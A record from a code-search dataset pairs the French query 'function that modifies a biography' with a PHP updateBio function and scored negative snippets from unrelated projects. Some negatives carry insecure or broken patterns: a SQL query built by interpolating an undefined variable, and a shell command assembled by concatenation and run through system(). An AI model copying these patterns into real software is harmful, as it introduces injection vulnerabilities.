render_block_core_post_author_biography($attributes, $content, $block)\n {\n }", "public function bio(){\n // return Auth::user()->id;\n return view('mybio');\n }", "public function daftar_bio($nim){\r\n\t\t$query = $this->db->query(\"SELECT m.NIM, m.Name, m.TempatLahir, m.TglLahir, m.TotalSKSLulus, m.KodeProgram, m.sex, m.Alamat1, m.Phone, m.NamaOT, m.NamaIbu, m.AlamatOT1, m.AlamatOT2, m.TelpOT, f.nama_indonesia as nmf, f.singkatan as singfak, m.KodeJurusan, j.nama_indonesia as nmj, agm.agama from _v2_mhsw m left outer join fakultas f on m.kodefakultas=f.kode left outer join _v2_jurusan j on m.kodejurusan=j.kode left outer join _v2_agama a on m.AgamaID=a.agamaID where m.NIM='$nimt' Limit 1\");\r\n\t}", "function __construct() {\r\n\t\t$this -> modelo = new facturaBss();\r\n\t\t$this -> modeloFactura = new facturaPdfBss();\r\n\t}", "public function extra();", "public function extraInfo();", "abstract protected function getGroupStructure();", "function getOGRole();", "function getOGRole();", "public function __construct($boja,$tip)\n {\n $this->setBoja($boja);\n $this->setTip($tip);\n }", "public function setBio($bio)\n {\n $this->bio = htmlspecialchars($bio);\n\n return $this;\n }", "function userelation($relation) { atkuse(\"relation\" , $relation); }" ]
[ "0.6617331", "0.5730785", "0.5728409", "0.5557957", "0.5525496", "0.54902905", "0.54855824", "0.5432753", "0.5420018", "0.53815264", "0.5299102", "0.5286776", "0.5284605", "0.5273999", "0.52690506", "0.52690405", "0.5262935", "0.52616805", "0.52616805", "0.52007574", "0.5191423", "0.5172692", "0.5172692", "0.5078758", "0.50728357", "0.5064724", "0.503192", "0.49969873", "0.49892986", "0.49892986", "0.4974521", "0.49710906", "0.49650207", "0.49493226", "0.4946514", "0.49439684", "0.4938308", "0.4933178", "0.49240154", "0.49102154", "0.49067694", "0.49015635", "0.48895496", "0.4888931", "0.4888931", "0.48827213", "0.4879612", "0.48670515", "0.48668292", "0.48636776", "0.4860396", "0.48602235", "0.48596352", "0.48487014", "0.4845267", "0.48288113", "0.48267052", "0.48238662", "0.48229963", "0.48225832", "0.48185635", "0.4813007", "0.4812789", "0.48078436", "0.48053515", "0.4802824", "0.4800496", "0.47909757", "0.47885805", "0.47885805", "0.47845164", "0.47812995", "0.47745883", "0.47638598", "0.4754846", "0.47516558", "0.47438726", "0.47418442", "0.4741676", "0.47412232", "0.47367397", "0.47339958", "0.47289535", "0.47282958", "0.47281307", "0.47274676", "0.47268316", "0.47242776", "0.47241738", "0.47208053", "0.47176582", "0.4715884", "0.47146532", "0.47145563", "0.47106957", "0.47066", "0.46987998", "0.46987998", "0.46937242", "0.46935785", "0.46915922" ]
0.0
-1
Fonction qui modifie une biographie
function updateBio($bio, $db) { $req = $db->prepare("UPDATE Bio SET Titre = :Titre, Description = :Description WHERE ID_Bio = :ID_Bio"); $req->execute([ "Titre" => $bio['Titre'], "Description" => $bio['Description'], "ID_Bio" => $bio['ID_Bio'] ]); return $req; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setBio($newBio){\n $this->bio = $newBio;\n }", "public function biography();", "function bio () {\n if (empty($this->bio_bio)) {\n if ( $this->page[\"Bio\"] == \"\" ) $this->openpage (\"Bio\",\"person\");\n if ( $this->page[\"Bio\"] == \"cannot open page\" ) return array(); // no such page\n if (@preg_match_all('|<h5>Mini Biography</h5>\\s*(.+)\\s+.+\\s+(.+)|',$this->page[\"Bio\"],$matches)) {\n for ($i=0;$i<count($matches[0]);++$i) {\n $bio_bio[\"desc\"] = str_replace(\"href=\\\"/name/nm\",\"href=\\\"http://\".$this->imdbsite.\"/name/nm\",\n str_replace(\"href=\\\"/title/tt\",\"href=\\\"http://\".$this->imdbsite.\"/title/tt\",\n str_replace('/SearchBios','http://'.$this->imdbsite.'/SearchBios',$matches[1][$i])));\n $author = 'Written by '.(str_replace('/SearchBios','http://'.$this->imdbsite.'/SearchBios',$matches[2][$i]));\n if (@preg_match(\"/href\\=\\\"(.*?)\\\">(.*?)<\\/a>/\",$author,$match)) {\n $bio_bio[\"author\"][\"url\"] = $match[1][$i];\n $bio_bio[\"author\"][\"name\"] = $match[2][$i];\n }\n $this->bio_bio[] = $bio_bio;\n unset($bio_bio,$author);\n }\n }\n }\n return $this->bio_bio;\n }", "public function biographies() {\n\t\treturn $this->hasMany('App\\Biography');\n\t}", "function getBio() {\n return $this->bio;\n }", "public function getBio()\n {\n return $this->bio;\n }", "public function getBio()\n {\n return $this->bio;\n }", "public function getBio()\n {\n return $this->bio;\n }", "private function compilar_metadatos_generales_basicos()\n\t{\n\t\t//-- Datos basicos --\n\t\t$this->manejador_interface->mensaje('Info basica', false);\n\t\t$nombre_clase = 'toba_mc_gene__basicos';\n\t\t$archivo = $this->get_dir_generales_compilados() . '/' . $nombre_clase . '.php';\n\t\t$clase = new toba_clase_datos( $nombre_clase );\n\t\t$datos = toba_proyecto_db::cargar_info_basica( $this->get_id() );\n\t\t$clase->agregar_metodo_datos('info_basica', $datos);\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Fuentes --\n\t\tforeach( $this->get_indice_fuentes() as $fuente ) {\n\t\t\t$datos = toba_proyecto_db::get_info_fuente_datos( $this->get_id(), $fuente );\n\t\t\t//-- Se busca la relacion entre nombre_tabla y dt\n\t\t\t$mapeo = toba_proyecto_db::get_mapeo_tabla_dt($this->get_id(), $fuente);\n\t\t\t$datos['mapeo_tablas_dt'] = $mapeo;\n\t\t\t$clase->agregar_metodo_datos('info_fuente__'.$fuente, $datos );\n\t\t}\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Permisos --\n\t\tforeach( $this->get_indice_permisos() as $permiso ) {\n\t\t\t$datos = toba_proyecto_db::get_descripcion_permiso( $this->get_id(), $permiso );\n\t\t\t$clase->agregar_metodo_datos('info_permiso__'.$permiso, $datos );\n\t\t}\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Indice de componentes --\n\t\t$datos = toba_proyecto_db::get_mapeo_componentes_indice( $this->get_id() );\n\t\t$clase->agregar_metodo_datos('info_indices_componentes', $datos );\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//Creo el archivo\n\t\t$clase->guardar( $archivo );\n\t\t$this->manejador_interface->progreso_fin();\n\t}", "public function setBio($bio)\n {\n $this->bio = $bio;\n\n return $this;\n }", "public function setBio($bio)\n {\n $this->bio = $bio;\n\n return $this;\n }", "function setIdHistorialCambio($idHistorialCambio) {\r\n $this->idHistorialCambio = $idHistorialCambio;\r\n }", "abstract public function information();", "public function edit(Biologica $biologica)\n {\n //\n }", "public function setBiometricDefaults(){\r\n \t\r\n \tif($this->data['biometric_data']['height']==\"0\"){ \t\t\r\n \t\t$this->data['biometric_data']['height']=(intval($this->demographics['height_ft'])*12)+$this->demographics['height_in']; \t\t\r\n \t} \t\r\n \t\r\n \t//get last weight entered\r\n \tif($this->data['biometric_data']['weight']==\"0\"){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackWeightModel.php\");\r\n \t\t$w=new UserTrackWeightModel($this->id); \r\n \t\t$weight=$w->getLastEntry();\r\n \t\t$this->data['biometric_data']['weight']=($weight)?$weight['weight']:0;\r\n \t}\r\n \t\r\n \t\t//get last bp entered\r\n \tif($this->data['biometric_data']['bp_systolic']==\"0\"){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackBPModel.php\");\r\n \t\t$bp= new UserTrackBPModel($this->id);\r\n \t\t$data=$bp->getLastEntry(); \t\t\r\n \t\t$this->data['biometric_data']['bp_systolic']=($data)?$data['systolic']:0;\r\n \t\t$this->data['biometric_data']['bp_diastolic']=($data)?$data['diastolic']:0; \t\t\t \t\t\r\n \t}\r\n \t\r\n \t//calculate current BMI\r\n \tif($this->data['biometric_data']['bmi']==0){ \t\t\r\n \t\tif($this->data['biometric_data']['height']!=0){ \t\t\t\r\n \t \t\t$this->data['biometric_data']['bmi']=round($this->data['biometric_data']['weight']/pow($this->data['biometric_data']['height'],2)*703,2); \t\t\t\r\n \t\t}\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackMeasurementsModel.php\");\r\n\t\t\t\t$mm = new UserTrackMeasurementsModel($this->id);\r\n\t\t\t\t$data = $mm->getLastEntry();\r\n \t\t$this->data['biometric_data']['waist'] = ($data['waist']) ? $data['waist'] : 0;\r\n \t}\r\n \t\r\n \t//get Last Entered Blood Glucose\r\n \tif($this->data['biometric_data']['blood_glucose']==0){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackBloodGlucoseModel.php\");\r\n \t\t$bg= new UserTrackBloodGlucoseModel($this->id);\r\n \t\t$data=$bg->getLastEntry();\r\n \t\tif ($data['random']['date_entered'] > $data['fasting']['date_entered']) {\r\n\t \t\t$this->data['biometric_data']['blood_glucose']=$data['random']['blood_glucose'];\r\n\t \t\t$this->data['glucose_test'] = 'random';\r\n\t \t}\r\n\t \telse {\r\n\t \t\t$this->data['biometric_data']['blood_glucose'] = $data['fasting']['blood_glucose'];\r\n\t \t\t$this->data['glucose_test'] = 'fasting';\r\n\t \t}\r\n\t\t\t\tif (!isset($this->data['biometric_data']['hemoglobin']))\r\n\t \t\t$this->data['biometric_data']['hemoglobin'] = 0;\r\n\t\t\t\tif (!isset($this->data['biometric_data']['cotinine']))\r\n\t \t\t$this->data['biometric_data']['cotinine'] = 0;\r\n \t}\r\n \t\r\n //get Last Entered Cholesterol\r\n \tif($this->data['biometric_data']['cholesterol']==0){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackCholesterolModel.php\");\r\n \t\t$c= new UserTrackCholesterolModel($this->id);\r\n \t\t$data=$c->getLastEntry(); \t\t\r\n \t\t$this->data['biometric_data']['cholesterol']=($data)?$data['total']:0;\r\n \t\t$this->data['biometric_data']['triglycerides']=($data)?$data['triglycerides']:0;\r\n \t\t$this->data['biometric_data']['hdl']=($data)?$data['hdl']:0;\r\n \t\t$this->data['biometric_data']['ldl']=($data)?$data['ldl']:0;\r\n \t}\r\n \t\t\r\n\t}", "function cl_bensetiquetaimpressa() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"bensetiquetaimpressa\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function __construct($bio) {\n\t\tparent::__construct($this->shortenIfTooLong($bio));\n\t}", "function setInfo() {\n //Sanatize using Regex\n $santizied=$this->sanitize($this->rawTitle);\n \n \n //IMDB API Options\n $plot='full'; //Plot format Full or Simple\n $limit=1; //Number of results\n \n $reply=file_get_contents('http://imdbapi.org/?title='.$santizied.'&type=json&plot='.$plot.'&episode=0&limit='.$limit.'&yg=0&mt=M&lang=en-US&offset=&aka=simple&release=simple');\n $obj = json_decode($reply,true);\n\t\t\n\n \n if (@is_null($obj[0]['title'])) { \n $this->download=false;\n }\n else { \n $this->title=$obj[0]['title'];\n $this->time=$obj[0]['runtime'][0];\n $this->genres=$obj[0]['genres'];\n $this->rating=$obj[0]['rating'];\n $this->plot=$obj[0]['plot_simple'];\n $this->director=$obj[0]['directors'][0];\n $this->casts=$obj[0]['actors'];\n $this->year=$obj[0]['year'];\n\t\t\t $this->imdbid=$obj[0]['imdb_id'];\n //TODO: Uncomment this\n //$this->poster=$obj[0]['poster'];\n\t\t\t $this->poster=$this->thePoster($obj[0]['poster']);\n //$this->poster='http://localhost:8080/wordpress/wp-content/uploads/2013/01/d.jpg';\n \n $this->download=TRUE;\n\n } \n \n\n }", "public function show(Biologica $biologica)\n {\n //\n }", "public function setBio($bio)\n {\n $this->bio = htmlspecialchars($bio);\n\n return $this;\n }", "abstract public function getCorrespondingMetaData();", "public function getUserBio();", "public function getMilage()\n {\n }", "function CHistorialCambiosBeneficiario($idHistorialCambio, $beneficiario1, $beneficiario2, $tipoCambioBeneficiario, $fecha, $soporte, $observaciones) {\r\n $this->idHistorialCambio = $idHistorialCambio;\r\n $this->beneficiario1 = $beneficiario1;\r\n $this->beneficiario2 = $beneficiario2;\r\n $this->tipoCambioBeneficiario = $tipoCambioBeneficiario;\r\n $this->fecha = $fecha;\r\n $this->soporte = $soporte;\r\n $this->observaciones = $observaciones;\r\n }", "function render_block_core_post_author_biography($attributes, $content, $block)\n {\n }", "function peanut_gene_bundle_instances_info($entity_type, $bundle) {\n $instances = array();\n\n if (isset($bundle->data_table) AND ($bundle->data_table == 'feature')) {\n /*\n *\n * 1. Begin GENE ASSEMBLY VERSION\n */\n $field_name = 'local__gene_assembly_version';\n $field_type = 'local__gene_assembly_version';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Assembly Version',\n 'description' => 'Gene Assembly Version Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => TRUE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_assembly_version_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_assembly_version_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n /*\n *\n * 2. Begin GENE MODEL BUILD\n */\n $field_name = 'local__gene_model_build';\n $field_type = 'local__gene_model_build';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Model Build',\n 'description' => 'Gene Model Build Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => TRUE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_model_build_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_model_build_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n /*\n *\n * 3. Begin GENE PROTEIN DOMAINS\n */\n $field_name = 'local__gene_protein_domains';\n $field_type = 'local__gene_protein_domains';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Protein Domains',\n 'description' => 'Gene Protein Domains Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => TRUE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_protein_domains_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_protein_domains_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n /*\n *\n * 4. Begin GENE EXPRESSION\n */\n $field_name = 'local__gene_expression';\n $field_type = 'local__gene_expression';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Expression',\n 'description' => 'Gene Expression Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => TRUE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_expression_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_expression_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n /*\n *\n * 5. Begin GENE SEQUENCES\n */\n $field_name = 'local__gene_sequences';\n $field_type = 'local__gene_sequences';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Sequences',\n 'description' => 'Gene Sequences Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_sequences_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_sequences_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n /*\n *\n * 6. Begin GENE START\n */\n $field_name = 'local__gene_start';\n $field_type = 'local__gene_start';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Start',\n 'description' => 'Gene Start Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_start_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_start_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n /*\n *\n * 7. Begin GENE END\n */\n $field_name = 'local__gene_end';\n $field_type = 'local__gene_end';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene End',\n 'description' => 'Gene End Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_end_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_end_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n /*\n *\n * 8. Begin GENE Species\n */\n $field_name = 'local__gene_species';\n $field_type = 'local__gene_species';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Species',\n 'description' => 'Gene Species Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_species_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_species_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n /*\n *\n * 9. Begin GENE Chromosome\n */\n $field_name = 'local__gene_chromosome';\n $field_type = 'local__gene_chromosome';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Chromosome',\n 'description' => 'Gene Chromosome Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_chromosome_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_chromosome_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n /*\n *\n * 10. Begin GENE Name\n */\n $field_name = 'local__gene_name';\n $field_type = 'local__gene_name';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Name',\n 'description' => 'Gene Name Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_name_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_name_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n /*\n *\n * 11. Begin GENE Description\n */\n $field_name = 'local__gene_description';\n $field_type = 'local__gene_description';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Description',\n 'description' => 'Gene Description Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_description_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_description_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n /*\n *\n * 12. Begin GENE Family\n */\n $field_name = 'local__gene_family';\n $field_type = 'local__gene_family';\n $instances[$field_name] = array(\n 'field_name' => $field_name,\n 'entity_type' => $entity_type,\n 'bundle' => $bundle->name,\n 'label' => 'Gene Family',\n 'description' => 'Gene Family Desc.',\n 'required' => FALSE,\n 'settings' => array(\n 'auto_attach' => FALSE,\n // 'chado_table' => $bundle->data_table,\n // 'chado_column' => 'organism_id',\n // 'base_table' => $bundle->data_table,\n ),\n 'widget' => array(\n 'type' => 'local__gene_family_widget',\n 'settings' => array(),\n ),\n 'display' => array(\n 'default' => array(\n 'label' => 'hidden',\n 'type' => 'local__gene_family_formatter',\n 'settings' => array(),\n ),\n ),\n );\n\n\n } //end if isset()\n return $instances;\n}", "function argentinagobar_bloques_imagen_destacada_admin_info($subtype, $conf, $contexts)\n{\n if (!empty($conf)) {\n $block = new stdClass;\n $block->title = isset($conf['override_title']) ? $conf['override_title_text'] : t('Imagen destacada');\n $block->content = t('Imagen destacada.');\n return $block;\n }\n}", "public function get_biometrico_com($fech,$nom)\n {\n self::set_names();\n $sql=\"SELECT observacion AS OBSERVACION, hora AS HORA, fecha AS FECHA\n \t\t\t\tFROM\n \t\t\t\tbiometrico\n \t\t\t\twhere\n \t\t\t\tfecha = '$fech' and nro='$nom' order by hora asc;\";\t\t\t \n foreach($this->dbh->query($sql) as $row)\n {\n $this->super2[]=$row;\n }\n return $this->super2;\n $this->dbh=null;\n }", "function geneshop_phylo() {\n/*\n * For testing function, required more than one sequence.\n * $mRNA_id = array(3,20,37,53,68);\n * $data = '';\n * foreach ($mRNA_id as $feature_id) {\n */\n module_load_include('inc', 'tripal_feature', 'tripal_feature.api');\n module_load_include('inc', 'clustalo', 'clustalo.restclient');\n $sql = '\n SELECT FRM.subject_id as feature_id\n FROM {gene} G\n INNER JOIN {feature_relationship} FRM ON FRM.object_id = G.gene_id\n INNER JOIN {chado_feature} CHF ON CHF.feature_id = gene_id\n WHERE chf.nid = :nid\n ';\n $data = '';\n foreach ($_SESSION['basket']['items'] as $nid => $value) {\n $args = array(':nid' => $nid);\n $result = db_query($sql, $args)->fetchObject();\n $feature_id = $result->feature_id;\n $sequence = array();\n $sequence = tripal_get_feature_sequences(\n array(\n 'feature_id' => $feature_id,\n ),\n array(\n 'relationship_type' => 'derives_from',\n 'relationship_part' => 'object',\n 'is_html' => 0\n )\n );\n if (count($sequence)>0) {\n $data .= \">\".$sequence[0][defline].\"\\n\";\n if ($sequence[0]['residues']) { //if there are sequences in residues\n $sequence[0]['residues'] = strtoupper($sequence[0]['residues']);\n $data .= $sequence[0]['residues'].\"\\n\";\n }\n }\n }\n\n// set parameter and send to ClustalO service.\n $parameters = array(\n 'sequence' => $data,\n );\n $phylo = clustalo_submit_job($parameters, true);\n\n// send phylogenetic tree in newick form to draw a tree in python script.\n $enphy = urlencode($phylo);\n $command = drupal_get_path(\"module\", \"geneshop\").\"/cgi_ete.py .$enphy\";\n system(\"python2.6 \".$command);\n}", "function amap_ma_set_entity_additional_info($entity, $etitle, $edescription, $elocation = null, $eotherinfo = null, $m_icon_light = false, $eurl = false, $map_icon = false) {\n $edescription = elgg_get_excerpt($edescription);\n $namecleared = amap_ma_remove_shits($entity->$etitle);\n $description = amap_ma_remove_shits(elgg_get_excerpt($entity->description, 100));\n if (!$map_icon) {\n $map_icon = amap_ma_get_entity_icon($entity);\n }\n\n if ($elocation) {\n $location = $elocation;\n } else {\n $location = $entity->location;\n }\n\n if (elgg_instanceof($entity, 'object', 'agora')) {\n $entity_icon = elgg_view_entity_icon($entity, 'tiny', ['img_class' => 'elgg-photo']);\n }\n else if (elgg_instanceof($entity, 'object', 'lcourt')) {\n elgg_load_library('elgg:leaguemanager');\n $entity_photo = elgg_view('output/img', array(\n 'src' => lm_getEntityIconUrl($entity->getGUID(), 'tiny'),\n 'alt' => $entity->title,\n 'class' => 'elgg-photo',\n ));\n $entity_icon = elgg_view('output/url', array(\n 'href' => ($eurl?$eurl:$entity->getURL()),\n 'text' => $entity_photo,\n ));\n } \n else if ($entity instanceof ElggUser || $entity instanceof ElggGroup) {\n $icon = elgg_view('output/img', array(\n 'src' => $entity->getIconURL('tiny'),\n 'class' => \"elgg-photo\",\n ));\n $entity_icon = elgg_view('output/url', array(\n 'href' => $entity->getURL(),\n 'text' => $icon,\n ));\n } else {\n $entity_icon = elgg_view_entity_icon($entity, 'tiny', array(\n 'href' => $entity->getURL(),\n 'width' => '',\n 'height' => '',\n 'style' => 'float: left;',\n ));\n }\n $entity->setVolatileData('m_title', $namecleared);\n $entity->setVolatileData('m_description', $description);\n $entity->setVolatileData('m_location', $location);\n $entity->setVolatileData('m_icon', $entity_icon);\n $entity->setVolatileData('m_map_icon', $map_icon);\n if ($eotherinfo) {\n $entity->setVolatileData('m_other_info', $eotherinfo);\n }\n $entity->setVolatileData('m_icon_light', $m_icon_light);\n \n /* hide at the moment as the distance displayed is not well calculated\n if ($user->getLatitude() && $user->getLongitude()) {\n $distance = get_distance($entity->getLatitude(), $entity->getLongitude(), $user->getLatitude(), $user->getLongitude()); // distance in metres\n $distance = round($distance / 1000, 2); // distance in km\n $distance_str = elgg_echo('amap_maps_api:search:proximity', array($user->location, $distance));\n $entity->setVolatileData('distance_from_user', $distance_str);\n } */\n\n return $entity;\n}", "function cap_person_bio($style, $person = null) {\n if ( empty( $person ) ) {\n global $wp_query;\n $person = $wp_query->get_queried_object();\n }\n\n $person_photo = get_field( 'person_photo', 'person_'.$person->term_id );\n $person_photo_hi_res = get_field( 'person_photo_hi_res', 'person_'.$person->term_id );\n // This field is only being used by ThinkProgress post ACF migration.\n // The field itself is registered only in the TP theme in fields.php\n $person_photo_legacy = get_field( 'person_photo_legacy', 'person_'.$person->term_id );\n $person_title = get_field( 'person_title', 'person_'.$person->term_id );\n $person_email = get_field( 'person_email', 'person_'.$person->term_id );\n $person_twitter_handle = get_field( 'person_twitter_handle', 'person_'.$person->term_id );\n\n if (!empty($person_photo)) {\n $person_photo_output = wp_get_attachment_image( $person_photo, 'medium' );\n $person_photo_hi_res_output = wp_get_attachment_image_src( $person_photo_hi_res, 'full');\n }\n\n $markup = '<div class=\"person '.$style.'\">';\n // if the \"full\" style is being displayed then add the person name and title atop the bio\n if ( 'full' == $style ) {\n $markup .= '<div class=\"person-title\"><h1>'.$person->name.'<br><small>'.$person_title.'</small></h1></div>';\n }\n\n // begin the actual bio area\n $markup .= '<div class=\"person-bio\">';\n if (!empty($person_photo)) {\n $markup .= '<div class=\"bio-pic\">'.$person_photo_output;\n\n // optional hi res photo\n if (!empty($person_photo_hi_res_output)) {\n $markup .= '<div class=\"bio-pic-hi-res\"><a href=\"'.$person_photo_hi_res_output[0].'\">' . __('Download hi-res', 'cap-byline') . '</a></div>';\n }\n\n $markup .= '</div>';\n } elseif (!empty($person_photo_legacy)) {\n $markup .= '<div class=\"bio-pic\"><img src=\"'.$person_photo_legacy.'\"></div>';\n }\n // get the bio and add it to $markup\n $markup .= '<div class=\"bio\">';\n if ( empty($style) ) {\n $markup .= '<strong>'.$person->name.'</strong> ';\n }\n $markup .= $person->description;\n // if either an email addy or twitter handle are present lets add a hard line break for spacing\n if ( !empty($person_email) || !empty($person_twitter_handle) ) {\n $markup .= '<div id=\"contact-button-seperator\"></div>';\n }\n\n // if the bio has an email associated add a contact modal form to $markup also check the form ID is present\n if ( !empty($person_email) ) {\n $markup .= '<a id=\"contact-modal-link\" class=\"cap-contact-modal-link\" href=\"javascript:void(0);\"><img src=\"'.plugin_dir_url('cap-byline.php').'/cap-byline/mail.png\" width=\"18px\"> ' . __('Contact', 'cap-byline') . ' ' . $person->name.'</a>';\n $markup .= '\n <script>\n jQuery(document).ready(function(){\n jQuery(\"#contact-modal-link\").click(function(){\n jQuery(\"#contact-modal\").addClass(\"active\");\n });\n jQuery(\"#contact-modal .close-modal\").click(function(){\n jQuery(\"#contact-modal\").removeClass(\"active\");\n });\n });\n </script>\n ';\n $markup .= '<div id=\"contact-modal\" class=\"modal\"><div class=\"modal-wrapper\"><div class=\"close-modal\"><img src=\"'.plugin_dir_url('cap-byline.php').'/cap-byline/close_circle.png\"></div><div class=\"modal-window\">';\n $markup .= gravity_form( get_field('author_contact_form_id', 'options'), false, false, false, array('author_contact_email' => ''.$person->term_id.''), true, 25, false );\n gravity_form_enqueue_scripts( get_field('author_contact_form_id', 'options'), true );\n $markup .= '</div></div></div>';\n $markup .= '\n <style>\n div.modal {\n display: none;\n position: fixed;\n top: 0;\n left: 0;\n height: 100%;\n width: 100%;\n background-color: rgba(0,0,0,0.6);\n z-index: 999;\n }\n div.modal.active {\n display: table;\n }\n div.modal-wrapper {\n display: table-cell;\n vertical-align: middle;\n z-index: 9999;\n text-align: center;\n }\n div.modal-window {\n text-align: left;\n display: inline-block;\n min-width: 50%;\n background-color: #fff;\n padding: 2em;\n }\n div.close-modal {\n position: relative;\n bottom: -20px;\n text-align: right;\n width: 52%;\n margin: 0 auto;\n }\n #contact-modal-link 